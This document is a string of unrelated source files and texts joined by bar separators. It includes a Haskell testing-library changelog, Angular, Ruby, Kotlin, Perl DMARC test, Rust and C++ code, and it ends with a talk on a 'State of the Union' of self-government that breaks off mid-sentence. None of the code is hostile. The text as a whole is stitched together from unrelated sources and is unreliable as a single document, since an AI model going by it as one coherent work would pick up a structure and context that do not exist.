- Some internal names, making it more clear what it is that they do.
## [0.4.10] - 2018-05-03
### Added
- Property tests for `mconcat`, `sconcat`, and `stimes`. It isn't
common to override the defaults for these, but when you do, it's
nice to check that they agree with what they are supposed to do.
## [0.4.9] - 2018-04-06
### Change
- Be more careful with import of `Data.Primitive`. There is a
branch of `primitive` that adds `PrimArray`. The implementation
of `PrimArray` in this library should eventually be removed, but
for now it will be sufficient to ensure that it does not create
a conflicting import problem with the one in the branch.
## [0.4.8] - 2018-03-29
### Change
- Fix compilation regression for older versions of transformers.
## [0.4.7] - 2018-03-29
### Change
- Split up monolithic module into hidden internal modules.
- Fix compilation regression for older GHCs.
## [0.4.6] - 2018-03-29
### Added
- Property test the naturality law for `MonadZip`. There is another law
that instances should satisfy (the Information Preservation law), but
it's more difficult to write a test for. It has been omitted for now.
- Property tests for all `MonadPlus` laws.
- Several additional property tests for list-like containers: mapMaybe,
replicate, filter.
## [0.4.5] - 2018-03-26
### Added
- Property tests for list-like containers that have `IsList` instances.
These are useful for things that are nearly `Foldable` or nearly `Traversable`
but are either constrained in their element type or totally monomorphic
in it.
## [0.4.4] - 2018-03-23
### Added
- Cabal flags for controlling whether or not `aeson` and `semigroupoids`
are used. These are mostly provided to accelerate builds `primitive`'s
test suite.
## [0.4.3] - 2018-03-23
### Added
- Property tests for `foldl1` and `foldr1`.
- Property tests for `Traversable`.
## [0.4.2] - 2018-03-22
### Changed
- Made compatible with `transformers-0.3`. Tests for higher-kinded
typeclasses are unavailable when built with a sufficiently old
version of both `transformers` and `base`. This is because `Eq1`
and `Show1` are unavailable in this situation.
## [0.4.1] - 2018-03-21
### Changed
- Made compatible with `transformers-0.4`.
## [0.4.0] - 2018-03-20
### Added
- Property tests for `Bifunctor` and `Alternative`.
### Changed
- Made compatible with older GHCs all the way back to 7.8.4.
- Lower dependency footprint. Eliminate the dependency on `prim-array`
and inline the relevant functions and types from it into
`Test.QuickCheck.Classes`. None of these are exported.
|
#!/bin/bash -xe
# This script is run within a docker container to generate release notes.
/generate_reno_report.sh $NEW_TAG reno_report.md
cat reno_report.md > all_notes.md
|
import inject from "./inject";
test("injection", () => {
const context: any = {
issue: () => ({ owner: "user", issue_number: 1, repo: "test" }),
payload: {
issue: { value: "old issue" },
pull_request: { value: "old pr" },
installation: { id: 123 },
},
github: { something: () => {} },
};
const data = { value: "new" };
const ctx = inject(context, data);
expect(ctx.payload).not.toEqual(context.payload);
expect(ctx.payload.issue).toEqual(ctx.payload.pull_request);
expect(ctx.github).toBe(context.github);
expect(ctx.payload.installation).toEqual(context.payload.installation);
});
|
CREATE TABLE report (
author VARCHAR(25),
command VARCHAR(15),
message VARCHAR(50),
fixed BOOLEAN
);
|
java_import 'org.apache.velocity.runtime.resource.loader.DataSourceResourceLoader'
module Velocity
class MySqlVelocityLauncher
include VelocityLauncher
def initialize connection
loader = DataSourceResourceLoader.new
loader.setDataSource(MySqlDataSource.new "jdbc:mysql://#{connection['server']}/#{connection['database']}",
connection['username'], connection['password'])
init({
'resource.loader' => 'ds',
'ds.resource.loader.instance' => loader,
'ds.resource.loader.public.name' => 'DataSource',
'ds.resource.loader.description' => 'Velocity DataSource Resource Loader',
'ds.resource.loader.class' => DataSourceResourceLoader.class.name,
'ds.resource.loader.resource.datasource' => 'java:comp/env/jdbc/Velocity',
'ds.resource.loader.resource.table' => 'templates',
'ds.resource.loader.resource.keycolumn' => 'id',
'ds.resource.loader.resource.templatecolumn' => 'body',
'ds.resource.loader.resource.timestampcolumn' => 'lastModified'
})
end
end
end |
import { Component, OnInit } from '@angular/core';
import { LoadingController, NavController} from 'ionic-angular';
import { Geolocation } from 'ionic-native';
import { Observable } from 'rxjs/Observable';
/*
Generated class for the Map component.
See https://angular.io/docs/ts/latest/api/core/index/ComponentMetadata-class.html
for more info on Angular 2 Components.
*/
declare let google;
declare let Map;
@Component({
selector: 'map',
templateUrl: 'map.html'
})
export class MapComponent implements OnInit{
text: string;
public map: google.maps.Map;
public isMapIdle: boolean;
public currentLocation: google.maps.LatLng;
constructor(public nav: NavController, public loadingCtrl: LoadingController) {
console.log('Hello Map Component');
}
ngOnInit() {
this.map = this.createMap();
this.addMapEventListeners();
this.getCurrentLocation().subscribe(location => {
this.centerLocation(location);
});
}
addMapEventListeners() {
google.maps.event.addListener(this.map, 'dragstart', () => {
this.isMapIdle = false;
})
google.maps.event.addListener(this.map, 'idle', () => {
this.isMapIdle = true;
})
}
getCurrentLocation(): Observable<google.maps.LatLng> {
let loading = this.loadingCtrl.create({
content: 'Locating...'
});
loading.present(loading);
let options = {timeout: 10000, enableHighAccuracy: true};
let locationObs = Observable.create(observable => {
Geolocation.getCurrentPosition(options)
.then(resp => {
let lat = resp.coords.latitude;
let lng = resp.coords.longitude;
let location = new google.maps.LatLng(lat, lng);
console.log('Geolocation: ' + location);
observable.next(location);
loading.dismiss();
},
(err) => {
console.log('Geolocation err: ' + err);
loading.dismiss();
})
})
return locationObs;
}
createMap(location = new google.maps.LatLng(13.0480788,79.9288052)) {
let mapOptions = {
center: location,
zoom: 18,
styles: [
{
"elementType": "geometry",
"stylers": [
{
"color": "#1d2c4d"
}
]
},
{
"elementType": "labels.text.fill",
"stylers": [
{
"color": "#fff"
}
]
},
{
"elementType": "labels.text.stroke",
"stylers": [
{
"color": "#1a3646"
}
]
},
{
"featureType": "administrative.country",
"elementType": "geometry.stroke",
"stylers": [
{
"color": "#4b6878"
}
]
},
{
"featureType": "administrative.land_parcel",
"elementType": "labels.text.fill",
"stylers": [
{
"color": "#fff"
}
]
},
{
"featureType": "administrative.province",
"elementType": "geometry.stroke",
"stylers": [
{
"color": "#4b6878"
}
]
},
{
"featureType": "landscape.man_made",
"elementType": "geometry.stroke",
"stylers": [
{
"color": "#334e87"
}
]
},
{
"featureType": "landscape.natural",
"elementType": "geometry",
"stylers": [
{
"color": "#023e58"
}
]
},
{
"featureType": "poi",
"elementType": "geometry",
"stylers": [
{
"color": "#283d6a"
}
]
},
{
"featureType": "poi",
"elementType": "labels.text.fill",
"stylers": [
{
"color": "#6f9ba5"
}
]
},
{
"featureType": "poi",
"elementType": "labels.text.stroke",
"stylers": [
{
"color": "#1d2c4d"
}
]
},
{
"featureType": "poi.park",
"elementType": "geometry.fill",
"stylers": [
{
"color": "#023e58"
}
]
},
{
"featureType": "poi.park",
"elementType": "labels.text.fill",
"stylers": [
{
"color": "#3C7680"
}
]
},
{
"featureType": "road",
"elementType": "geometry",
"stylers": [
{
"color": "#304a7d"
}
]
},
{
"featureType": "road",
"elementType": "labels.text.fill",
"stylers": [
{
"color": "#ffffff"
}
]
},
{
"featureType": "road",
"elementType": "labels.text.stroke",
"stylers": [
{
"color": "#1d2c4d"
}
]
},
{
"featureType": "road.highway",
"elementType": "geometry",
"stylers": [
{
"color": "#2c6675"
}
]
},
{
"featureType": "road.highway",
"elementType": "geometry.stroke",
"stylers": [
{
"color": "#255763"
}
]
},
{
"featureType": "road.highway",
"elementType": "labels.text.fill",
"stylers": [
{
"color": "#b0d5ce"
}
]
},
{
"featureType": "road.highway",
"elementType": "labels.text.stroke",
"stylers": [
{
"color": "#023e58"
}
]
},
{
"featureType": "transit",
"elementType": "labels.text.fill",
"stylers": [
{
"color": "#98a5be"
}
]
},
{
"featureType": "transit",
"elementType": "labels.text.stroke",
"stylers": [
{
"color": "#1d2c4d"
}
]
},
{
"featureType": "transit.line",
"elementType": "geometry.fill",
"stylers": [
{
"color": "#283d6a"
}
]
},
{
"featureType": "transit.station",
"elementType": "geometry",
"stylers": [
{
"color": "#3a4762"
}
]
},
{
"featureType": "water",
"elementType": "geometry",
"stylers": [
{
"color": "#0e1626"
}
]
},
{
"featureType": "water",
"elementType": "labels.text.fill",
"stylers": [
{
"color": "#4e6d70"
}
]
}
],
mapTypeId: google.maps.MapTypeId.ROADMAP,
disableDefaultUI: true
}
let mapEl = document.getElementById('map');
let map = new google.maps.Map(mapEl, mapOptions);
return map;
}
centerLocation(location) {
if (location) {
this.map.panTo(location);
}
else {
this.getCurrentLocation().subscribe(currentLocation => {
this.map.panTo(currentLocation);
});
}
}
}
|
#pragma once
#include "CoreTypes.h"
#include "Misc/Guid.h"
// Custom serialization version for changes made in Dev-Framework stream
struct FFactoryGameCustomVersion
{
enum Type
{
// Before any version changes were made
BeforeCustomVersionWasAdded = 0,
// 2017-06-02: Moved mNumItems and mPickupClass into mPickupItems in FGItemPickup
ItemPickupGotInventoryStack,
// 2017-06-17: Added persistant serialization to inventory items
InventoryItemGotPersistantSeralization,
// 2017-08-23: Moved mPreviewDistance from Vehicle and Buildable to FGItemDescriptor
MovedPreviewDistanceToDescriptor,
// 2017-08-29: Moved mPreviewDistance into FItemView
MovedPreviewDistanceToItemView,
// 2017-09-08: Moved mBuildCategory from FGBuildingDescriptor to new base FGBuildDescriptor
MovedBuildCategory,
// 2017-11-09: In FGSchematic renamed mTechOnionRingIndex to mTechTier
RenamedTechOnionRingIndexToTechTier,
// 2017-11-14: Removed alternative costs that are randomized.
RemovedRandomizedSchematicCosts,
// 2017-12-12: Renamed ArmsAnimClass in equipment
RenamedArmsAnimClass,
// 2018-02-23: FItemView changed FocalZOffset to FocalOffset
ChangedItemViewFocus,
// 2018-09-17: Added support for large icons
AddedLargeIcons,
// 2019-04-08: Changed ExcludedInBuild to IncludedInBuild with research recipes
CookResearchRecipes,
// 2019-04-24: Changed so that fuel classes default values are separated from what's replicated to clients
ChangedFuelClassesStorage,
// -----<new versions can be added above this line>-------------------------------------------------
VersionPlusOne,
LatestVersion = VersionPlusOne - 1
};
// The GUID for this custom version number
const static FGuid GUID;
private:
FFactoryGameCustomVersion() {}
};
|
import { Component } from "@angular/core";
@Component({
selector: "app-notification",
template: `
<button
mat-icon-button
class="matero-toolbar-button"
[matMenuTriggerFor]="menu"
>
<mat-icon>notifications</mat-icon>
<span class="badge bg-red-500">5</span>
</button>
<mat-menu #menu="matMenu">
<mat-nav-list>
<mat-list-item *ngFor="let message of messages">
<a matLine href="#">{{ message }}</a>
<button mat-icon-button>
<mat-icon>info</mat-icon>
</button>
</mat-list-item>
</mat-nav-list>
</mat-menu>
`,
})
export class NotificationComponent {
messages = [
"Server Error Reports",
"Server Error Reports",
"Server Error Reports",
];
}
|
# frozen_string_literal: true
# rubocop:disable Gitlab/ModuleWithInstanceVariables
module EE
module Admin
module DashboardController
extend ActiveSupport::Concern
extend ::Gitlab::Utils::Override
LICENSE_BREAKDOWN_USER_LIMIT = 100_000
override :index
def index
super
@license = License.current
end
# The license section may time out if the number of users is
# high. To avoid 500 errors, just hide this section. This is a
# workaround for https://gitlab.com/gitlab-org/gitlab/issues/32287.
override :show_license_breakdown?
def show_license_breakdown?
return false unless @counts.is_a?(Hash)
@counts.fetch(::User, 0) < LICENSE_BREAKDOWN_USER_LIMIT
end
end
end
end
|
require 'spec_helper'
describe "fs_files", dbscope: :example do
let(:site) { cms_site }
let(:user) { cms_user }
let(:file) do
basename = ::File.basename(filename)
SS::File.create_empty!(
site_id: site.id, cur_user: cms_user, name: basename, filename: basename,
content_type: "image/png", model: 'article/page'
) do |file|
::FileUtils.cp(filename, file.path)
end
end
context "[logo.png]" do
let(:filename) { "#{Rails.root}/spec/fixtures/ss/logo.png" }
context "without auth" do
it "#index" do
visit file.url
expect(status_code).to eq 404
end
it "#thumb" do
visit file.thumb_url
expect(status_code).to eq 404
end
end
context "with auth" do
before { login_cms_user }
it "#index" do
visit file.url
expect(status_code).to eq 200
end
it "#thumb" do
visit file.thumb_url
expect(status_code).to eq 200
end
end
end
# https://github.com/shirasagi/shirasagi/issues/307
context "[logo.png.png]" do
let(:filename) { "#{Rails.root}/spec/fixtures/fs/logo.png.png" }
context "without auth" do
it "#index" do
visit file.url
expect(status_code).to eq 404
end
it "#thumb" do
visit file.thumb_url
expect(status_code).to eq 404
end
end
context "with auth" do
before { login_cms_user }
it "#index" do
visit file.url
expect(status_code).to eq 200
end
it "#thumb" do
visit file.thumb_url
expect(status_code).to eq 200
end
end
end
after(:each) do
Fs.rm_rf "#{Rails.root}/tmp/ss_files"
end
end
|
# This generator converts all umlauts äÄöÖüÜ and ß in its correct html equivalent
# ü = ü Ü = Ü
# ä = ä Ä = Ä
# ö = ö Ö = Ö
# ß = ß ẞ = ẞ
# Author: Arne Gockeln
# Website: http://www.Webchef.de
module Jekyll
class UmlautsGenerator < Generator
safe true
priority :highest
def generate(site)
puts "\nReplacing umlauts"
site.pages.each do |page|
page.content = replace(page.content)
end
site.posts.docs.each do |post|
post.content = replace(post.content)
end
end
def replace(content)
content.gsub!(/ü/, 'ü')
content.gsub!(/Ü/, 'Ü')
content.gsub!(/ö/, 'ö')
content.gsub!(/Ö/, 'Ö')
content.gsub!(/ä/, 'ä')
content.gsub!(/Ä/, 'Ä')
content.gsub!(/ß/, 'ß')
content.gsub!(/ẞ/, 'ẞ')
content
end
end
end
|
package com.quickbirdstudios.surveykit.backend.views.questions
import android.content.Context
import android.text.InputType
import androidx.annotation.StringRes
import com.quickbirdstudios.surveykit.AnswerFormat
import com.quickbirdstudios.surveykit.R
import com.quickbirdstudios.surveykit.StepIdentifier
import com.quickbirdstudios.surveykit.backend.helpers.extensions.afterTextChanged
import com.quickbirdstudios.surveykit.backend.views.question_parts.TextFieldPart
import com.quickbirdstudios.surveykit.backend.views.step.QuestionView
import com.quickbirdstudios.surveykit.result.QuestionResult
import com.quickbirdstudios.surveykit.result.question_results.EmailQuestionResult
internal class EmailQuestionView(
context: Context,
id: StepIdentifier,
isOptional: Boolean,
title: String?,
text: String?,
nextButtonText: String,
private val answerFormat: AnswerFormat.EmailAnswerFormat,
private val preselected: String? = null
) : QuestionView(context, id, isOptional, title, text, nextButtonText) {
//region Members
private lateinit var emailField: TextFieldPart
//endregion
//region Overrides
override fun createResults(): QuestionResult = EmailQuestionResult(
id = id,
startDate = startDate,
answer = emailField.field.text.toString(),
stringIdentifier = emailField.field.text.toString()
)
override fun isValidInput(): Boolean {
return answerFormat.isValid(emailField.field.text.toString())
}
override fun setupViews() {
super.setupViews()
emailField = content.add(
TextFieldPart.withHint(context, answerFormat.hintText ?: "")
)
emailField.field.apply {
inputType = InputType.TYPE_TEXT_VARIATION_EMAIL_ADDRESS
maxLines = 1
textAlignment = TEXT_ALIGNMENT_CENTER
afterTextChanged { footer.canContinue = isValidInput() }
setText(preselected)
}
}
//endregion
}
|
use strict;
use warnings;
use Data::Dumper;
use Test::More;
use Test::File::ShareDir
-share => { -dist => { 'Mail-DMARC' => 'share' } };
use lib 'lib';
use_ok('Mail::DMARC::PurePerl');
use_ok('Mail::DMARC::Result');
my $pp = Mail::DMARC::PurePerl->new;
my $result = Mail::DMARC::Result->new;
isa_ok( $result, 'Mail::DMARC::Result' );
my $test_dom = 'tnpi.net';
test_published();
test_no_policy();
test_disposition();
test_dkim();
test_dkim_align();
test_spf();
test_result();
test_reason();
test_dkim_meta();
done_testing();
exit;
sub _test_pass_strict {
$pp->init();
$pp->header_from($test_dom);
$pp->dkim(
[ { domain => $test_dom, result => 'pass', selector => 'apr2013' } ]
);
$pp->spf( { domain => $test_dom, result => 'pass', scope => 'mfrom' } );
$pp->validate();
delete $pp->result->{published};
my $expected = {
'result' => 'pass',
'disposition' => 'none',
'dkim' => 'pass',
'spf' => 'pass',
'spf_align' => 'strict',
'dkim_meta' => {
'domain' => 'tnpi.net',
'identity' => '',
'selector' => 'apr2013',
},
'dkim_align' => 'strict',
reason => [],
};
is_deeply( $pp->result, $expected, "result, pass, strict, $test_dom")
or diag Data::Dumper::Dumper( $pp->result );
}
sub _test_pass_relaxed {
$pp->init();
$pp->header_from("www.$test_dom");
$pp->dkim(
[ { domain => $test_dom, result => 'pass', selector => 'apr2013' } ]
);
$pp->spf( { scope => 'mfrom', domain => $test_dom, result => 'pass' } );
$pp->validate();
delete $pp->result->{published};
my $skip_reason;
if ( !$pp->result->dkim ) { # typically a DNS failure,
$skip_reason = "look like DNS is not working";
}
SKIP: {
skip $skip_reason, 1 if $skip_reason;
my $expected = { 'result' => 'pass',
'dkim' => 'pass',
'spf' => 'pass',
'disposition' => 'none',
'dkim_align' => 'relaxed',
'dkim_meta' => {
'domain' => 'tnpi.net',
'identity' => '',
'selector' => 'apr2013',
},
'spf_align' => 'relaxed',
reason => [],
};
is_deeply( $pp->result, $expected, "pass, relaxed, $test_dom" )
or diag Data::Dumper::Dumper( $pp->result );
}
}
sub _test_fail_strict {
my $pol = shift || 'reject';
$pp->init();
my $from_dom = "www.$test_dom";
$pp->header_from($from_dom);
$pp->dkim(
[ { domain => $test_dom, result => 'pass', selector => 'apr2013' } ]
);
$pp->spf( { scope => 'mfrom', domain => $test_dom, result => 'pass' } );
my $policy = $pp->policy->parse("v=DMARC1; p=$pol; aspf=s; adkim=s");
$policy->{domain} = $from_dom;
$pp->result->published($policy);
$pp->{policy} = $policy;
$pp->validate($policy);
ok( !$pp->is_dkim_aligned, "is_dkim_aligned, neg" );
ok( !$pp->is_spf_aligned, "is_spf_aligned, neg" );
ok( !$pp->is_aligned(), "is_aligned, neg" );
delete $pp->result->{published};
my $expected = { 'disposition' => $pol,
'dkim' => 'fail',
'spf' => 'fail',
'result' => 'fail',
reason => [],
};
is_deeply( $pp->result, $expected, "result, fail, strict, $test_dom" )
or diag Data::Dumper::Dumper( $pp->result );
}
sub _test_fail_sampled_out {
my $pol = 'reject';
$pp->init();
my $from_dom = "www.$test_dom";
$pp->header_from($from_dom);
$pp->dkim(
[ { domain => $test_dom, result => 'pass', selector => 'apr2013' } ]
);
$pp->spf( { scope => 'mfrom', domain => $test_dom, result => 'pass' } );
my $policy
= $pp->policy->parse("v=DMARC1; p=$pol; aspf=s; adkim=s; pct=0");
$policy->{domain} = $from_dom;
$pp->result->published($policy);
$pp->{policy} = $policy;
$pp->validate($policy);
ok( !$pp->is_dkim_aligned, "is_dkim_aligned, neg" );
ok( !$pp->is_spf_aligned, "is_spf_aligned, neg" );
ok( !$pp->is_aligned(), "is_aligned, neg" );
delete $pp->result->{published};
my $expected = {
'disposition' => 'quarantine',
'dkim' => 'fail',
'spf' => 'fail',
'reason' => [{ 'type' => 'sampled_out' }],
'result' => 'fail',
};
is_deeply( $pp->result, $expected, "result, fail, strict, sampled out, $test_dom"
) or diag Data::Dumper::Dumper( $pp->result );
}
sub _test_fail_nonexist {
$pp->init();
$pp->{header_from}
= 'host.nonexistent-tld'; # the ->header_from method would validate
$pp->validate();
# some test machines return 'interesting' results for queries of non-existent
# domains. That's not worth raising a test error.
my $skip_reason;
if ( ! $pp->result->reason || $pp->result->reason->[0]->comment ne
'host.nonexistent-tld not in DNS' ) {
$skip_reason = "DNS returned 'interesting' results for invalid domain";
};
SKIP: {
skip $skip_reason, 1 if $skip_reason;
is_deeply(
$pp->result,
{ 'result' => 'none',
'disposition' => 'none',
'dkim' => '',
'spf' => '',
'reason' => [{
'comment' => 'host.nonexistent-tld not in DNS',
'type' => 'other',
}],
},
"result, none, nonexist"
) or diag Data::Dumper::Dumper( $pp->result );
}
}
sub test_published {
_test_pass_strict();
_test_pass_relaxed();
_test_fail_strict('reject');
_test_fail_strict('none');
_test_fail_strict('quarantine');
_test_fail_sampled_out();
_test_fail_nonexist();
}
sub test_no_policy {
$pp->init();
$pp->header_from( 'nodmarcrecord.blogspot.com' );
$pp->validate();
my $skip_reason;
if ( !$pp->result->reason ) { # typically a DNS failure,
$skip_reason = "look like DNS is not working";
};
SKIP: {
skip $skip_reason, 1 if $skip_reason;
is_deeply(
$pp->result,
{ 'result' => 'none',
'disposition' => 'none',
'dkim' => '',
'spf' => '',
'reason' => [{
'comment' => 'no policy',
'type' => 'other',
}],
},
"result, fail, nonexist"
) or diag Data::Dumper::Dumper( $pp->result );
};
}
sub test_disposition {
# positive tests
foreach (qw/ none reject quarantine NONE REJECT QUARANTINE /) {
ok( $result->disposition($_), "disposition, $_" );
}
# negative tests
foreach (qw/ non rejec quarantin NON REJEC QUARANTIN /) {
eval { $result->disposition($_) };
chomp $@;
ok( $@, "disposition, neg, $_, $@" );
}
}
sub test_dkim {
test_pass_fail('dkim');
}
sub test_dkim_align {
strict_relaxed('dkim_align');
}
sub test_dkim_meta {
ok( $result->dkim_meta( { domain => 'test' } ), "dkim_meta" );
}
sub test_spf {
test_pass_fail('spf');
}
sub test_spf_align {
strict_relaxed('spf_align');
}
sub test_reason {
# positive tests
foreach (
qw/ forwarded sampled_out trusted_forwarder mailing_list local_policy other /
)
{
ok( $result->reason( type => $_, comment => "test comment" ), "reason type: $_" );
}
# negative tests
foreach (qw/ any reason not in above list /) {
eval { $result->reason( type => $_ ) };
chomp $@;
ok( $@, "reason, $_, $@" );
}
}
sub test_result {
test_pass_fail('result');
}
sub test_pass_fail {
my $sub = shift;
# positive tests
foreach (qw/ pass fail PASS FAIL /) {
ok( $result->$sub($_), "$sub, $_" );
}
# negative tests
foreach (qw/ pas fai PAS FAI /) {
eval { $result->$sub($_) };
chomp $@;
ok( $@, "$sub, neg, $_, $@" );
}
}
sub strict_relaxed {
my $sub = shift;
# positive tests
foreach (qw/ strict relaxed STRICT RELAXED /) {
ok( $result->$sub($_), "$sub, $_" );
}
# negative tests
foreach (qw/ stric relaxe STRIC RELAXE /) {
eval { $result->$sub($_) };
chomp $@;
ok( $@, "$sub, neg, $_, $@" );
}
}
|
-- Compute the powerset of a set (represented as a list)
--
-- e.g. docker run --rm -v `pwd`:/work -w /work haskell:8.0 runhaskell powerset.hs
ps :: [a] -> [[a]]
ps (x:xs) = rs ++ map (x:) rs where rs = ps xs
ps [] = [[]]
main :: IO ()
main = putStrLn $ show $ ps "abcd"
|
// later versions of Unity have a better version of this so
// comment this struct out if your version has it...
public struct Vector2Int
{
public int x;
public int y;
public Vector2Int(int x = 0, int y = 0)
{
this.x = x;
this.y = y;
}
}
|
package com.haoliang.freshday.cart.service;
/**
* @author zhouhaoliang
* @Description
* @date 2021 年 04 月 15 日 20:18
*/
public interface CartService {
}
|
package org.decaf.distributed
package common {
// Classes provide better semantics for fqcns over the wire.
class WireMessage
}
|
pub mod api;
pub mod args;
pub mod dist;
pub mod pager;
pub mod rpc;
pub mod telemetry;
pub mod types;
#[derive(Clone)]
pub struct State {
pub pool: sqlx::Pool<sqlx::postgres::Postgres>,
pub static_dir: String,
pub rpc_client: rpc::Client,
}
impl State {
pub async fn from_args(src: &args::Args) -> State {
let pool = sqlx::postgres::PgPoolOptions::new()
.max_connections(src.database_conn)
.connect_timeout(std::time::Duration::from_secs(3))
.connect(src.database_url.as_str())
.await
.unwrap();
if let Err(e) = pool.acquire().await {
panic!("Database connection failure {} url={}", e, src.database_url);
};
Self {
pool,
static_dir: src.static_dir.clone(),
rpc_client: rpc::Client::new(&src.rpc_addr, &src.rpc_username, &src.rpc_password),
}
}
}
#[async_std::main]
async fn main() -> tide::Result<()> {
tracing_subscriber::fmt()
.with_env_filter(tracing_subscriber::EnvFilter::new("sqlx=warn,info"))
.init();
let args = match args::parse() {
Ok(x) => x,
Err(e) => panic!("Args parsing error: {}", e),
};
let mut app = tide::with_state(State::from_args(&args).await);
app.with(telemetry::TraceMiddleware::new());
app.at("/api/address/:address").get(api::address);
app.at("/api/tx/:tx").get(api::transaction);
app.at("/api/blocks/:block").get(api::block);
app.at("/api/blocks").get(api::blocks);
app.at("/api/search").post(api::search);
// app.at("/api/chainstate").post(api::chainstate);
app.with(dist::Middleware {});
app.at("/").get(api::home);
// app.at("/").get(api::home);
app.listen(args.listen.as_str()).await?;
Ok(())
}
|
/**
* @file Gaussian.cxx
* @brief Implementation for the (1D) Gaussian class
* @author J. Chiang
*
* $Header$
*/
#include <cmath>
#include <iostream>
#include <string>
#include <vector>
#include "optimizers/dArg.h"
#include "optimizers/ParameterNotFound.h"
#include "optimizers/Gaussian.h"
namespace optimizers {
Gaussian::Gaussian(double Prefactor, double Mean, double Sigma)
: Function("Gaussian", 3, "Prefactor", "dArg", Addend) {
addParam("Prefactor", Prefactor, true);
addParam("Mean", Mean, true);
addParam("Sigma", Sigma, true);
}
double Gaussian::integral(const Arg & xargmin, const Arg & xargmax) const {
double xmin = dynamic_cast<const dArg &>(xargmin).getValue();
double xmax = dynamic_cast<const dArg &>(xargmax).getValue();
std::vector<Parameter> my_params;
getParams(my_params);
enum ParamTypes {Prefactor, Mean, Sigma};
double f0 = my_params[Prefactor].getTrueValue();
double x0 = my_params[Mean].getTrueValue();
double sigma = my_params[Sigma].getTrueValue();
double zmin = (xmin - x0)/sqrt(2.)/sigma;
double zmax = (xmax - x0)/sqrt(2.)/sigma;
return f0*(erfcc(zmin) - erfcc(zmax))/2.;
}
double Gaussian::erfcc(double x) const {
/* (C) Copr. 1986-92 Numerical Recipes Software [email protected].. */
double t, z, ans;
z=fabs(x);
t=1.0/(1.0+0.5*z);
ans = t*exp(-z*z-1.26551223+t*(1.00002368+t*(0.37409196+t*(0.09678418+
t*(-0.18628806+t*(0.27886807+t*(-1.13520398+t*(1.48851587+
t*(-0.82215223+t*0.17087277)))))))));
return x >= 0.0 ? ans : 2.0-ans;
}
double Gaussian::value(const Arg & xarg) const {
double x = dynamic_cast<const dArg &>(xarg).getValue();
enum ParamTypes {Prefactor, Mean, Sigma};
std::vector<Parameter> my_params;
getParams(my_params);
return my_params[Prefactor].getTrueValue()/sqrt(2.*M_PI)
/my_params[Sigma].getTrueValue()
*exp(-pow( (x - my_params[Mean].getTrueValue())
/my_params[Sigma].getTrueValue(), 2 )/2.);
}
double Gaussian::derivByParamImp(const Arg & xarg,
const std::string & paramName) const {
double x = dynamic_cast<const dArg &>(xarg).getValue();
enum ParamTypes {Prefactor, Mean, Sigma};
std::vector<Parameter> my_params;
getParams(my_params);
int iparam = -1;
for (unsigned int i = 0; i < my_params.size(); i++) {
if (paramName == my_params[i].getName()) {
iparam = i;
}
}
if (iparam == -1) {
throw ParameterNotFound(paramName, getName(), "Gaussian::derivByParam");
}
switch (iparam) {
case Prefactor:
return my_params[Prefactor].getScale()/sqrt(2.*M_PI)
/my_params[Sigma].getTrueValue()
*exp(-pow( (x - my_params[Mean].getTrueValue())
/my_params[Sigma].getTrueValue(), 2 )/2.);
break;
case Mean:
return value(xarg)*(x - my_params[Mean].getTrueValue())
/pow(my_params[Sigma].getTrueValue(), 2)
*my_params[Mean].getScale();
break;
case Sigma:
return value(xarg)/my_params[Sigma].getTrueValue()
*( pow((x - my_params[Mean].getTrueValue())
/my_params[Sigma].getTrueValue(), 2) - 1. )
*my_params[Sigma].getScale();
break;
default:
break;
}
return 0;
}
const std::vector<double> & Gaussian::xvalues(size_t nx) const {
const double nsig(5);
double mean(m_parameter[1].getValue());
double sigma(m_parameter[2].getValue());
double xmin = mean - nsig*sigma;
double dx = 10*sigma/(nx - 1.);
m_xvalues.clear();
for (size_t i(0); i < nx; i++) {
m_xvalues.push_back(i*dx + xmin);
}
return m_xvalues;
}
} // namespace optimizers
|
---
title: Jan 31, 2018
ref: "Discussion"
---
Good morning. And welcome to everyone who’s joining us on the Internet.
Yesterday was a day that a lot of people gave attention to—not just in
the United States but around the world as well—because a State of the
Union message was delivered.
People listened, Governments listened, to find out whether
there was something more to be concerned about or something to be
relieved about.
And so, we’re going to talk about a State of the Union message—not the
one that was given, but the one that everyone is living, whether they’re
conscious of it or not. If one is not conscious of there being a State
of the Union that they are a part of, they are concerned, they are
fearful, and it becomes exhausting. And the reason is, that they don’t
know who they Are. And they are helped not to know who they Are by
distraction.
In many ways the State of the Union message that was delivered was
really a State of the Business address—an exposition of commercial and
financial progress and opportunity, and not having much to do with,
let’s say, the individuals employed by the business of America—meaning
the citizens of America.
Now, if indeed, the citizens of America are the employees of the
business called America, then they have an opportunity, by the simple
sheer force of their numbers, to form a Union. And to be a member of a
Union, to be a part of a Union, is a far different experience from being
the slave of those who manage the business, those who run the business,
those who conduct business for their benefit and in competition with
other businesses around the globe, all of which are, shall I say,
fleshed out—carrying out the manufacturing aspects of the business—by
the citizens of those countries, who in many cases think they have no
options because the idea of Union is disallowed, discouraged, and not
allowed to grow. This is very important.
If you stop and think about it, those who are governed far out-number
those who engage in governing. The majority, for lack of better words,
play the role of being “the governed.” And it does not represent
democracy. And I’m not talking politics here. I’m talking fairness that
values every single individual and looks for equality for each and every
individual because the individual rather than the business is what
matters.
All government is self-government. The only problem is that far too many
individuals don’t realize that they are governing themselves in the role
of being “the governed,” without equality, without equal presence,
without equal voice. And they have been conditioned to believe this. But
it’s not true.
All government is self-government. The shift from identifying one’s self
as being one of the governed to the awareness that one is always
governing himself for good or for ill, for himself … there’s all the
difference in the world because the latter empowers every single
individual, whereas the former is a practice of disempowerment, and
therefore of distress, of abuse, of misery. And it’s all developed on a
false premise.
Now, just humanly speaking, let’s take a look at the preamble to the
Constitution of the United States. This is a fundamental of democracy,
even more, it’s a fundamental of human existence everywhere on the
globe, everywhere there is a human being, everywhere there is that which
is alive.
It says—important word—“WE the People.” Not WE the business man, not WE
the corporations. “We the People”—the people who laugh and cry, the
people who are happy or sad, the people who feel well or not well. Those
who all understand each other in these terms, and recognize their
equality in all of these respects …
“We the People, in order to form a more perfect Union”
Forming a union? Forming a union against something? No. Forming a
union of themselves, saying,
We—the People who have lived under domination, who have lived under
tyranny, who have lived under King and serfdom dynamics …
We the People do this in order to form a more perfect union of
ourselves—in our dignity, in our presence, in who and what we Are, in
what we have in common, because we recognize each others’ needs. Because
we’ve been under distress from apparently outside forces by those who
seemed to govern us, when we didn’t realize we were governing ourselves
poorly.
And so, now we are doing something different.
“We the People, in order to form a more perfect union” for each and
every one of us, “to establish justice” for each and every one of us,
“to insure domestic tranquility” for each and every one of us, “to
provide for the common defense” of each and every one of us—not just the
rich or the good or the Christians, no, for every single one of us—“to
promote the general welfare” for each and every one of us, “and secure
